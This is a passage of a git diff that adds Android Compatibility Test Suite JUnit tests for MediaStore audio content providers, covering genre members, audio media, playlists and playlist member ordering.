+ // This time the song should appear twice, once for each genre
+ while(c.moveToNext()) {
+ if (c.getLong(colidx) == mAudioIdOfJam) {
+ long g = c.getLong(c.getColumnIndex(Members.GENRE_ID));
+ if (g == genreId) {
+ jamcnt1++;
+ } else if (g == genre2Id) {
+ jamcnt2++;
+ } else {
+ fail("wrong genre found");
+ }
+ }
+ }
+ assertEquals(1, jamcnt1);
+ assertEquals(1, jamcnt2);
+ c.close();
+
+ // Delete the members, note that this does not delete the genre itself
+ assertEquals(1, mContentResolver.delete(membersUri, null, null)); // check number of rows deleted
+
+ // verify the genre is now empty
+ c = mContentResolver.query(membersUri, null, null, null, null);
+ assertEquals(0, c.getCount());
+ c.close();
+
+ // same for 2nd genre
+ assertEquals(1, mContentResolver.delete(members2Uri, null, null));
+ c = mContentResolver.query(members2Uri, null, null, null, null);
+ assertEquals(0, c.getCount());
+ c.close();
+
+ // insert again, then verify that deleting the audio entry cleans up its genre member
+ // entry as well
+ values.put(Members.AUDIO_ID, mAudioIdOfJam);
+ membersUri = Members.getContentUri(mVolumeName, genreId);
+ assertNotNull(mContentResolver.insert(membersUri, values));
+ // Query members across all genres
+ c = mContentResolver.query(allMembersUri,
+ new String[] { Members.AUDIO_ID, Members.GENRE_ID}, null, null, null);
+ colidx = c.getColumnIndex(Members.AUDIO_ID);
+ jamcnt = 0;
+ // The song should appear only once, for the genre we used when inserting it
+ while(c.moveToNext()) {
+ if (c.getLong(colidx) == mAudioIdOfJam) {
+ jamcnt++;
+ assertEquals(genreId, c.getLong(c.getColumnIndex(Members.GENRE_ID)));
+ }
+ }
+ assertEquals(1, jamcnt);
+ c.close();
+ mContentResolver.delete(Media.getContentUri(mVolumeName),
+ Media._ID + "=" + mAudioIdOfJam, null);
+ // Query members across all genres
+ c = mContentResolver.query(allMembersUri,
+ new String[] { Members.AUDIO_ID, Members.GENRE_ID}, null, null, null);
+ colidx = c.getColumnIndex(Members.AUDIO_ID);
+ jamcnt = 0;
+ // The song should no longer appear in the genre
+ while(c.moveToNext()) {
+ if (c.getLong(colidx) == mAudioIdOfJam) {
+ jamcnt++;
+ }
+ }
+ assertEquals(0, jamcnt);
+ c.close();
+ } finally {
+ // the members are deleted when deleting the genre which they belong to
+ mContentResolver.delete(Genres.getContentUri(mVolumeName),
+ Genres._ID + "=" + genreId, null);
+ if (genre2Id >= 0) {
+ mContentResolver.delete(Genres.getContentUri(mVolumeName),
+ Genres._ID + "=" + genre2Id, null);
+ }
+ c = mContentResolver.query(membersUri, null, null, null, null);
+ assertEquals(0, c.getCount());
+ c.close();
+ }
+ }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_MediaTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_MediaTest.java
new file mode 100644
index 0000000..679bdb4
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_MediaTest.java
@@ -0,0 +1,240 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.media;
+
+import static android.provider.cts.media.MediaStoreTest.TAG;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.content.ContentValues;
+import android.content.Context;
+import android.database.Cursor;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Environment;
+import android.provider.MediaStore;
+import android.provider.MediaStore.Audio;
+import android.provider.MediaStore.Audio.Media;
+import android.provider.cts.ProviderTestUtils;
+import android.provider.cts.R;
+import android.provider.cts.media.MediaStoreAudioTestHelper.Audio1;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+import java.io.File;
+
+@RunWith(Parameterized.class)
+public class MediaStore_Audio_MediaTest {
+ private Context mContext;
+ private ContentResolver mContentResolver;
+
+ private Uri mExternalAudio;
+
+ @Parameter(0)
+ public String mVolumeName;
+
+ @Parameters
+ public static Iterable<? extends Object> data() {
+ return ProviderTestUtils.getSharedVolumeNames();
+ }
+
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getTargetContext();
+ mContentResolver = mContext.getContentResolver();
+
+ Log.d(TAG, "Using volume " + mVolumeName);
+ mExternalAudio = MediaStore.Audio.Media.getContentUri(mVolumeName);
+ }
+
+ @Test
+ public void testGetContentUri() {
+ Cursor c = null;
+ assertNotNull(c = mContentResolver.query(
+ Media.getContentUri(mVolumeName), null, null,
+ null, null));
+ c.close();
+
+ assertEquals(ContentUris.withAppendedId(Media.getContentUri(mVolumeName), 42),
+ Media.getContentUri(mVolumeName, 42));
+ }
+
+ @Test
+ public void testGetContentUriForPath() {
+ Cursor c = null;
+ String externalPath = Environment.getExternalStorageDirectory().getPath();
+ assertNotNull(c = mContentResolver.query(Media.getContentUriForPath(externalPath), null, null,
+ null, null));
+ c.close();
+
+ String internalPath = mContext.getFilesDir().getAbsolutePath();
+ assertNotNull(c = mContentResolver.query(Media.getContentUriForPath(internalPath), null, null,
+ null, null));
+ c.close();
+ }
+
+ @Test
+ public void testStoreAudioMedia() {
+ Audio1 audio1 = Audio1.getInstance();
+ ContentValues values = audio1.getContentValues(mVolumeName);
+ //insert
+ Uri mediaUri = Media.getContentUri(mVolumeName);
+ Uri uri = mContentResolver.insert(mediaUri, values);
+ assertNotNull(uri);
+
+ try {
+ // query
+ // the following columns in the table are generated automatically when inserting:
+ // _ID, DATE_ADDED, ALBUM_ID, ALBUM_KEY, ARTIST_ID, ARTIST_KEY, TITLE_KEY
+ // the column DISPLAY_NAME will be ignored when inserting
+ Cursor c = mContentResolver.query(uri, null, null, null, null);
+ assertEquals(1, c.getCount());
+ c.moveToFirst();
+ long id = c.getLong(c.getColumnIndex(Media._ID));
+ assertTrue(id > 0);
+ String expected = audio1.getContentValues(mVolumeName).getAsString(Media.DATA);
+ assertEquals(expected, c.getString(c.getColumnIndex(Media.DATA)));
+ assertTrue(c.getLong(c.getColumnIndex(Media.DATE_ADDED)) > 0);
+ assertEquals(Audio1.DATE_MODIFIED, c.getLong(c.getColumnIndex(Media.DATE_MODIFIED)));
+ assertEquals(Audio1.DISPLAY_NAME, c.getString(c.getColumnIndex(Media.DISPLAY_NAME)));
+ assertEquals(Audio1.MIME_TYPE, c.getString(c.getColumnIndex(Media.MIME_TYPE)));
+ assertEquals(Audio1.SIZE, c.getInt(c.getColumnIndex(Media.SIZE)));
+ assertEquals(Audio1.TITLE, c.getString(c.getColumnIndex(Media.TITLE)));
+ assertEquals(Audio1.ALBUM, c.getString(c.getColumnIndex(Media.ALBUM)));
+ String albumKey = c.getString(c.getColumnIndex(Media.ALBUM_KEY));
+ assertNotNull(albumKey);
+ long albumId = c.getLong(c.getColumnIndex(Media.ALBUM_ID));
+ assertTrue(albumId > 0);
+ assertEquals(Audio1.ARTIST, c.getString(c.getColumnIndex(Media.ARTIST)));
+ String artistKey = c.getString(c.getColumnIndex(Media.ARTIST_KEY));
+ assertNotNull(artistKey);
+ long artistId = c.getLong(c.getColumnIndex(Media.ARTIST_ID));
+ assertTrue(artistId > 0);
+ assertEquals(Audio1.COMPOSER, c.getString(c.getColumnIndex(Media.COMPOSER)));
+ assertEquals(Audio1.DURATION, c.getLong(c.getColumnIndex(Media.DURATION)));
+ assertEquals(Audio1.IS_ALARM, c.getInt(c.getColumnIndex(Media.IS_ALARM)));
+ assertEquals(Audio1.IS_MUSIC, c.getInt(c.getColumnIndex(Media.IS_MUSIC)));
+ assertEquals(Audio1.IS_NOTIFICATION, c.getInt(c.getColumnIndex(Media.IS_NOTIFICATION)));
+ assertEquals(Audio1.IS_RINGTONE, c.getInt(c.getColumnIndex(Media.IS_RINGTONE)));
+ assertEquals(Audio1.TRACK, c.getInt(c.getColumnIndex(Media.TRACK)));
+ assertEquals(Audio1.YEAR, c.getInt(c.getColumnIndex(Media.YEAR)));
+ String titleKey = c.getString(c.getColumnIndex(Media.TITLE_KEY));
+ assertNotNull(titleKey);
+ c.close();
+
+ // test filtering
+ Uri baseUri = Media.getContentUri(mVolumeName);
+ Uri filterUri = baseUri.buildUpon()
+ .appendQueryParameter("filter", Audio1.ARTIST).build();
+ c = mContentResolver.query(filterUri, null, null, null, null);
+ assertEquals(1, c.getCount());
+ c.moveToFirst();
+ long fid = c.getLong(c.getColumnIndex(Media._ID));
+ assertTrue(id == fid);
+ c.close();
+
+ filterUri = baseUri.buildUpon().appendQueryParameter("filter", "xyzfoo").build();
+ c = mContentResolver.query(filterUri, null, null, null, null);
+ assertEquals(0, c.getCount());
+ c.close();
+ } finally {
+ // delete
+ int result = mContentResolver.delete(uri, null, null);
+ assertEquals(1, result);
+ }
+ }
+
+ @Test
+ public void testCanonicalize() throws Exception {
+ // Remove all audio left over from other tests
+ ProviderTestUtils.executeShellCommand("content delete"
+ + " --user " + InstrumentationRegistry.getTargetContext().getUserId()
+ + " --uri " + mExternalAudio,
+ InstrumentationRegistry.getInstrumentation().getUiAutomation());
+
+ // Publish some content
+ final File dir = ProviderTestUtils.stageDir(mVolumeName);
+ final Uri a = ProviderTestUtils.scanFileFromShell(
+ ProviderTestUtils.stageFile(R.raw.testmp3_2, new File(dir, "a.mp3")));
+ final Uri b = ProviderTestUtils.scanFileFromShell(
+ ProviderTestUtils.stageFile(R.raw.testmp3, new File(dir, "b.mp3")));
+ final Uri c = ProviderTestUtils.scanFileFromShell(
+ ProviderTestUtils.stageFile(R.raw.testmp3_2, new File(dir, "c.mp3")));
+
+ // Confirm we can canonicalize and recover it
+ final Uri canonicalized = mContentResolver.canonicalize(b);
+ assertNotNull(canonicalized);
+ assertEquals(b, mContentResolver.uncanonicalize(canonicalized));
+
+ // Delete all items above
+ mContentResolver.delete(a, null, null);
+ mContentResolver.delete(b, null, null);
+ mContentResolver.delete(c, null, null);
+
+ // Confirm canonical item isn't found
+ assertNull(mContentResolver.uncanonicalize(canonicalized));
+
+ // Publish data again and confirm we can recover it
+ final Uri d = ProviderTestUtils.scanFileFromShell(
+ ProviderTestUtils.stageFile(R.raw.testmp3, new File(dir, "d.mp3")));
+ assertEquals(d, mContentResolver.uncanonicalize(canonicalized));
+ }
+
+ @Test
+ public void testSortLocale() {
+ final Bundle queryArgs = new Bundle();
+ queryArgs.putStringArray(ContentResolver.QUERY_ARG_SORT_COLUMNS,
+ new String[] { Audio.Media.TITLE });
+
+ for (String locale : new String[] {
+ "zh",
+ "zh@collation=pinyin",
+ "zh@collation=stroke",
+ "zh@collation=zhuyin",
+ }) {
+ queryArgs.putString(ContentResolver.QUERY_ARG_SORT_LOCALE, locale);
+ try (Cursor c = mContentResolver.query(mExternalAudio, null, queryArgs, null)) {
+ }
+ }
+ }
+
+ @Test
+ public void testTrack() throws Exception {
+ final Uri uri = ProviderTestUtils.stageMedia(R.raw.iso88591_11,
+ mExternalAudio, "audio/mpeg");
+ try (Cursor c = mContentResolver.query(uri, null, null, null)) {
+ assertTrue(c.moveToFirst());
+
+ // The media file is technically disc "1/2" and track "2/10", but we
+ // parse it into a funky format that has been around for years.
+ assertEquals(1002, c.getInt(c.getColumnIndex(MediaStore.Audio.Media.TRACK)));
+ }
+ }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_PlaylistsTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_PlaylistsTest.java
new file mode 100644
index 0000000..659462f
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_PlaylistsTest.java
@@ -0,0 +1,101 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.media;
+
+import static android.provider.cts.media.MediaStoreTest.TAG;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.Context;
+import android.database.Cursor;
+import android.net.Uri;
+import android.provider.MediaStore.Audio.Playlists;
+import android.provider.cts.ProviderTestUtils;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+@RunWith(Parameterized.class)
+public class MediaStore_Audio_PlaylistsTest {
+ private Context mContext;
+ private ContentResolver mContentResolver;
+
+ @Parameter(0)
+ public String mVolumeName;
+
+ @Parameters
+ public static Iterable<? extends Object> data() {
+ return ProviderTestUtils.getSharedVolumeNames();
+ }
+
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getTargetContext();
+ mContentResolver = mContext.getContentResolver();
+
+ Log.d(TAG, "Using volume " + mVolumeName);
+ }
+
+ @Test
+ public void testGetContentUri() {
+ Cursor c = null;
+ assertNotNull(c = mContentResolver.query(
+ Playlists.getContentUri(mVolumeName), null, null,
+ null, null));
+ c.close();
+ }
+
+ @Test
+ public void testStoreAudioPlaylistsExternal() throws Exception {
+ ContentValues values = new ContentValues();
+ values.put(Playlists.NAME, "My favourites " + System.nanoTime());
+ long dateAdded = System.currentTimeMillis() / 1000;
+ long dateModified = System.currentTimeMillis() / 1000;
+ values.put(Playlists.DATE_MODIFIED, dateModified);
+ // insert
+ Uri uri = mContentResolver.insert(Playlists.getContentUri(mVolumeName), values);
+ assertNotNull(uri);
+
+ try {
+ // query
+ Cursor c = mContentResolver.query(uri, null, null, null, null);
+ assertEquals(1, c.getCount());
+ c.moveToFirst();
+ assertEquals(values.getAsString(Playlists.NAME),
+ c.getString(c.getColumnIndex(Playlists.NAME)));
+
+ long realDateAdded = c.getLong(c.getColumnIndex(Playlists.DATE_ADDED));
+ assertTrue(realDateAdded >= dateAdded);
+ assertEquals(dateModified, c.getLong(c.getColumnIndex(Playlists.DATE_MODIFIED)));
+ assertTrue(c.getLong(c.getColumnIndex(Playlists._ID)) > 0);
+ c.close();
+ } finally {
+ assertEquals(1, mContentResolver.delete(uri, null, null));
+ }
+ }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_Playlists_MembersTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_Playlists_MembersTest.java
new file mode 100644
index 0000000..ab947be
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_Playlists_MembersTest.java
@@ -0,0 +1,484 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.media;
+
+import static android.provider.cts.media.MediaStoreTest.TAG;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.content.ContentValues;
+import android.content.Context;
+import android.database.Cursor;
+import android.net.Uri;
+import android.provider.MediaStore;
+import android.provider.MediaStore.Audio.Media;
+import android.provider.MediaStore.Audio.Playlists;
+import android.provider.MediaStore.Audio.Playlists.Members;
+import android.provider.cts.ProviderTestUtils;
+import android.provider.cts.media.MediaStoreAudioTestHelper.Audio1;
+import android.provider.cts.media.MediaStoreAudioTestHelper.Audio2;
+import android.provider.cts.media.MediaStoreAudioTestHelper.Audio3;
+import android.provider.cts.media.MediaStoreAudioTestHelper.Audio4;
+import android.provider.cts.media.MediaStoreAudioTestHelper.Audio5;
+import android.provider.cts.media.MediaStoreAudioTestHelper.MockAudioMediaInfo;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+@RunWith(Parameterized.class)
+public class MediaStore_Audio_Playlists_MembersTest {
+ private String[] mAudioProjection = {
+ Members._ID,
+ Members.ALBUM,
+ Members.ALBUM_ID,
+ Members.ALBUM_KEY,
+ Members.ARTIST,
+ Members.ARTIST_ID,
+ Members.ARTIST_KEY,
+ Members.COMPOSER,
+ Members.DATA,
+ Members.DATE_ADDED,
+ Members.DATE_MODIFIED,
+ Members.DISPLAY_NAME,
+ Members.DURATION,
+ Members.IS_ALARM,
+ Members.IS_MUSIC,
+ Members.IS_NOTIFICATION,
+ Members.IS_RINGTONE,
+ Members.MIME_TYPE,
+ Members.SIZE,
+ Members.TITLE,
+ Members.TITLE_KEY,
+ Members.TRACK,
+ Members.YEAR,
+ };
+
+ private String[] mMembersProjection = {
+ Members._ID,
+ Members.AUDIO_ID,
+ Members.PLAYLIST_ID,
+ Members.PLAY_ORDER,
+ Members.ALBUM,
+ Members.ALBUM_ID,
+ Members.ALBUM_KEY,
+ Members.ARTIST,
+ Members.ARTIST_ID,
+ Members.ARTIST_KEY,
+ Members.COMPOSER,
+ Members.DATA,
+ Members.DATE_ADDED,
+ Members.DATE_MODIFIED,
+ Members.DISPLAY_NAME,
+ Members.DURATION,
+ Members.IS_ALARM,
+ Members.IS_MUSIC,
+ Members.IS_NOTIFICATION,
+ Members.IS_RINGTONE,
+ Members.MIME_TYPE,
+ Members.SIZE,
+ Members.TITLE,
+ Members.TITLE_KEY,
+ Members.TRACK,
+ Members.YEAR,
+ };
+
+ private Context mContext;
+ private ContentResolver mContentResolver;
+
+ private long mIdOfAudio1;
+ private long mIdOfAudio2;
+ private long mIdOfAudio3;
+ private long mIdOfAudio4;
+ private long mIdOfAudio5;
+
+ @Parameter(0)
+ public String mVolumeName;
+
+ @Parameters
+ public static Iterable<? extends Object> data() {
+ return ProviderTestUtils.getSharedVolumeNames();
+ }
+
+ private long insertAudioItem(MockAudioMediaInfo which) {
+ Uri uri = which.insert(mContentResolver, mVolumeName);
+ Cursor c = mContentResolver.query(uri, null, null, null, null);
+ c.moveToFirst();
+ long id = c.getLong(c.getColumnIndex(Media._ID));
+ c.close();
+ return id;
+ }
+
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getTargetContext();
+ mContentResolver = mContext.getContentResolver();
+
+ Log.d(TAG, "Using volume " + mVolumeName);
+
+ mIdOfAudio1 = insertAudioItem(Audio1.getInstance());
+ mIdOfAudio2 = insertAudioItem(Audio2.getInstance());
+ mIdOfAudio3 = insertAudioItem(Audio3.getInstance());
+ mIdOfAudio4 = insertAudioItem(Audio4.getInstance());
+ mIdOfAudio5 = insertAudioItem(Audio5.getInstance());
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ final Uri uri = Media.getContentUri(mVolumeName);
+ mContentResolver.delete(uri, Media._ID + "=" + mIdOfAudio1, null);
+ mContentResolver.delete(uri, Media._ID + "=" + mIdOfAudio2, null);
+ mContentResolver.delete(uri, Media._ID + "=" + mIdOfAudio3, null);
+ mContentResolver.delete(uri, Media._ID + "=" + mIdOfAudio4, null);
+ mContentResolver.delete(uri, Media._ID + "=" + mIdOfAudio5, null);
+ }
+
+ @Test
+ public void testGetContentUri() {
+ assertEquals("content://media/external/audio/playlists/1337/members",
+ Members.getContentUri("external", 1337).toString());
+ assertEquals("content://media/internal/audio/playlists/3007/members",
+ Members.getContentUri("internal", 3007).toString());
+ }
+
+ private Uri insertPlaylistItem(Uri playlistMembersUri, long itemid, int order) {
+ ContentValues values = new ContentValues();
+ values.put(Members.AUDIO_ID, itemid);
+ values.put(Members.PLAY_ORDER, order);
+ return mContentResolver.insert(playlistMembersUri, values);
+ }
+
+ /**
+ * check that the specified playlist contains the given members in the given order
+ */
+ private void verifyPlaylist(Uri playlistMembersUri, long [] members, int [] ordering) {
+ Cursor c = mContentResolver.query(playlistMembersUri,
+ new String[] { Members.AUDIO_ID, Members.PLAY_ORDER },
+ null, null, // selection, selection args
+ Members.PLAY_ORDER);
+ assertFalse("neither members nor ordering specified",
+ members == null && ordering == null);
+ if (members != null) {
+ assertEquals("members length doesn't match cursor length",
+ members.length, c.getCount());
+ if (ordering != null) {
+ assertEquals("members and ordering must have same length",
+ members.length, ordering.length);
+ }
+ }
+ if (ordering != null) {
+ assertEquals("ordering length doesn't match cursor length",
+ ordering.length, c.getCount());
+ }
+ while (c.moveToNext()) {
+ int pos = c.getPosition();
+ if (members != null) {
+ assertEquals("mismatched member at position " + pos,
+ members[pos], c.getInt(c.getColumnIndex(Members.AUDIO_ID)));
+ }
+ if (ordering != null) {
+ assertEquals("mismatched ordering at position " + pos,
+ ordering[pos], c.getInt(c.getColumnIndex(Members.PLAY_ORDER)));
+ }
+ }
+ c.close();
+ }
+
+ @Test
+ public void testStoreAudioPlaylistsMembersExternal() throws Exception {
+ // TODO: expand test to verify paths from secondary storage devices
+ if (!MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)) return;
+
+ ContentValues values = new ContentValues();
+ values.put(Playlists.NAME, "My favourites " + System.nanoTime());
+ long dateAdded = System.currentTimeMillis();
+ values.put(Playlists.DATE_ADDED, dateAdded);
+ long dateModified = System.currentTimeMillis();
+ values.put(Playlists.DATE_MODIFIED, dateModified);
+ // insert
+ Uri uri = mContentResolver.insert(Playlists.getContentUri(mVolumeName), values);
+ assertNotNull(uri);
+ Cursor c = mContentResolver.query(uri, null, null, null, null);
+ c.moveToFirst();
+ long playlistId = c.getLong(c.getColumnIndex(Playlists._ID));
+ long playlist2Id = -1; // used later
+
+ // verify that the Uri has the correct format and playlist value
+ assertEquals(ContentUris.withAppendedId(Playlists.getContentUri(mVolumeName), playlistId),
+ uri);
+
+ // insert audio as the member of the playlist
+ Uri membersUri = Members.getContentUri(mVolumeName, playlistId);
+ Uri audioUri = insertPlaylistItem(membersUri, mIdOfAudio1, 1);
+
+ assertNotNull(audioUri);
+ assertTrue(audioUri.toString().startsWith(membersUri.toString()));
+
+ try {
+ // query the audio info
+ c = mContentResolver.query(audioUri, mAudioProjection, null, null, null);
+ assertEquals(1, c.getCount());
+ c.moveToFirst();
+ long memberId = c.getLong(c.getColumnIndex(Members._ID));
+ assertEquals(memberId, Long.parseLong(audioUri.getPathSegments().get(5)));
+ final String expected1 = Audio1.getInstance().getContentValues(mVolumeName)
+ .getAsString(Members.DATA);
+ assertEquals(expected1, c.getString(c.getColumnIndex(Members.DATA)));
+ assertTrue(c.getLong(c.getColumnIndex(Members.DATE_ADDED)) > 0);
+ assertEquals(Audio1.DATE_MODIFIED, c.getLong(c.getColumnIndex(Members.DATE_MODIFIED)));
+ assertEquals(Audio1.DISPLAY_NAME, c.getString(c.getColumnIndex(Members.DISPLAY_NAME)));
+ assertEquals(Audio1.MIME_TYPE, c.getString(c.getColumnIndex(Members.MIME_TYPE)));
+ assertEquals(Audio1.SIZE, c.getInt(c.getColumnIndex(Members.SIZE)));
+ assertEquals(Audio1.TITLE, c.getString(c.getColumnIndex(Members.TITLE)));
+ assertEquals(Audio1.ALBUM, c.getString(c.getColumnIndex(Members.ALBUM)));
+ assertNotNull(c.getString(c.getColumnIndex(Members.ALBUM_KEY)));
+ assertTrue(c.getLong(c.getColumnIndex(Members.ALBUM_ID)) > 0);
+ assertEquals(Audio1.ARTIST, c.getString(c.getColumnIndex(Members.ARTIST)));
+ assertNotNull(c.getString(c.getColumnIndex(Members.ARTIST_KEY)));
+ assertTrue(c.getLong(c.getColumnIndex(Members.ARTIST_ID)) > 0);
+ assertEquals(Audio1.COMPOSER, c.getString(c.getColumnIndex(Members.COMPOSER)));
+ assertEquals(Audio1.DURATION, c.getLong(c.getColumnIndex(Members.DURATION)));
+ assertEquals(Audio1.IS_ALARM, c.getInt(c.getColumnIndex(Members.IS_ALARM)));
+ assertEquals(Audio1.IS_MUSIC, c.getInt(c.getColumnIndex(Members.IS_MUSIC)));
+ assertEquals(Audio1.IS_NOTIFICATION,
+ c.getInt(c.getColumnIndex(Members.IS_NOTIFICATION)));
+ assertEquals(Audio1.IS_RINGTONE, c.getInt(c.getColumnIndex(Members.IS_RINGTONE)));
+ assertEquals(Audio1.TRACK, c.getInt(c.getColumnIndex(Members.TRACK)));
+ assertEquals(Audio1.YEAR, c.getInt(c.getColumnIndex(Members.YEAR)));
+ assertNotNull(c.getString(c.getColumnIndex(Members.TITLE_KEY)));
+ c.close();
+
+ // query the play order of the audio
+ verifyPlaylist(membersUri, new long [] {mIdOfAudio1}, new int [] {1});
+
+ // update the member
+ values.clear();
+ values.put(Members.PLAY_ORDER, 2);
+ values.put(Members.AUDIO_ID, mIdOfAudio2);
+ int result = mContentResolver.update(membersUri, values, Members.AUDIO_ID + "="
+ + mIdOfAudio1, null);
+ assertEquals(1, result);
+
+ // query all info
+ c = mContentResolver.query(membersUri, mMembersProjection, null, null,
+ Members.DEFAULT_SORT_ORDER);
+ assertEquals(1, c.getCount());
+ c.moveToFirst();
+ assertEquals(2, c.getInt(c.getColumnIndex(Members.PLAY_ORDER)));
+ assertEquals(memberId, c.getLong(c.getColumnIndex(Members._ID)));
+ final String expected2 = Audio2.getInstance().getContentValues(mVolumeName)
+ .getAsString(Members.DATA);
+ assertEquals(expected2, c.getString(c.getColumnIndex(Members.DATA)));
+ assertTrue(c.getLong(c.getColumnIndex(Members.DATE_ADDED)) > 0);
+ assertEquals(Audio2.DATE_MODIFIED, c.getLong(c.getColumnIndex(Members.DATE_MODIFIED)));
+ assertEquals(Audio2.DISPLAY_NAME, c.getString(c.getColumnIndex(Members.DISPLAY_NAME)));
+ assertEquals(Audio2.MIME_TYPE, c.getString(c.getColumnIndex(Members.MIME_TYPE)));
+ assertEquals(Audio2.SIZE, c.getInt(c.getColumnIndex(Members.SIZE)));
+ assertEquals(Audio2.TITLE, c.getString(c.getColumnIndex(Members.TITLE)));
+ assertEquals(Audio2.ALBUM, c.getString(c.getColumnIndex(Members.ALBUM)));
+ assertNotNull(c.getString(c.getColumnIndex(Members.ALBUM_KEY)));
+ assertTrue(c.getLong(c.getColumnIndex(Members.ALBUM_ID)) > 0);
+ assertEquals(Audio2.ARTIST, c.getString(c.getColumnIndex(Members.ARTIST)));
+ assertNotNull(c.getString(c.getColumnIndex(Members.ARTIST_KEY)));
+ assertTrue(c.getLong(c.getColumnIndex(Members.ARTIST_ID)) > 0);
+ assertEquals(Audio2.COMPOSER, c.getString(c.getColumnIndex(Members.COMPOSER)));
+ assertEquals(Audio2.DURATION, c.getLong(c.getColumnIndex(Members.DURATION)));
+ assertEquals(Audio2.IS_ALARM, c.getInt(c.getColumnIndex(Members.IS_ALARM)));
+ assertEquals(Audio2.IS_MUSIC, c.getInt(c.getColumnIndex(Members.IS_MUSIC)));
+ assertEquals(Audio2.IS_NOTIFICATION,
+ c.getInt(c.getColumnIndex(Members.IS_NOTIFICATION)));
+ assertEquals(Audio2.IS_RINGTONE, c.getInt(c.getColumnIndex(Members.IS_RINGTONE)));
+ assertEquals(Audio2.TRACK, c.getInt(c.getColumnIndex(Members.TRACK)));
+ assertEquals(Audio2.YEAR, c.getInt(c.getColumnIndex(Members.YEAR)));
+ assertNotNull(c.getString(c.getColumnIndex(Members.TITLE_KEY)));
+ c.close();
+
+ // update the member back to its original state
+ values.clear();
+ values.put(Members.PLAY_ORDER, 1);
+ values.put(Members.AUDIO_ID, mIdOfAudio1);
+ result = mContentResolver.update(membersUri, values, Members.AUDIO_ID + "="
+ + mIdOfAudio2, null);
+ assertEquals(1, result);
+
+ // insert another member into the playlist
+ Uri audioUri2 = insertPlaylistItem(membersUri, mIdOfAudio2, 2);
+ // the playlist should now have id1 at position 1 and id2 at position2, check that
+ verifyPlaylist(membersUri, new long [] {mIdOfAudio1, mIdOfAudio2}, new int [] {1,2});
+
+ // swap the items around
+ assertTrue(MediaStore.Audio.Playlists.Members.moveItem(mContentResolver, playlistId, 1, 0));
+
+ // check the new positions
+ verifyPlaylist(membersUri, new long [] {mIdOfAudio2, mIdOfAudio1}, new int [] {1,2});
+
+ // swap the items around in the other direction
+ assertTrue(MediaStore.Audio.Playlists.Members.moveItem(mContentResolver, playlistId, 0, 1));
+
+ // check the positions again
+ verifyPlaylist(membersUri, new long [] {mIdOfAudio1, mIdOfAudio2}, new int [] {1,2});
+
+ // insert a third item into the playlist
+ Uri audioUri3 = insertPlaylistItem(membersUri, mIdOfAudio3, 3);
+ // the playlist should now have id1 at position 1, id2 at position2, and
+ // id3 at position3, check that
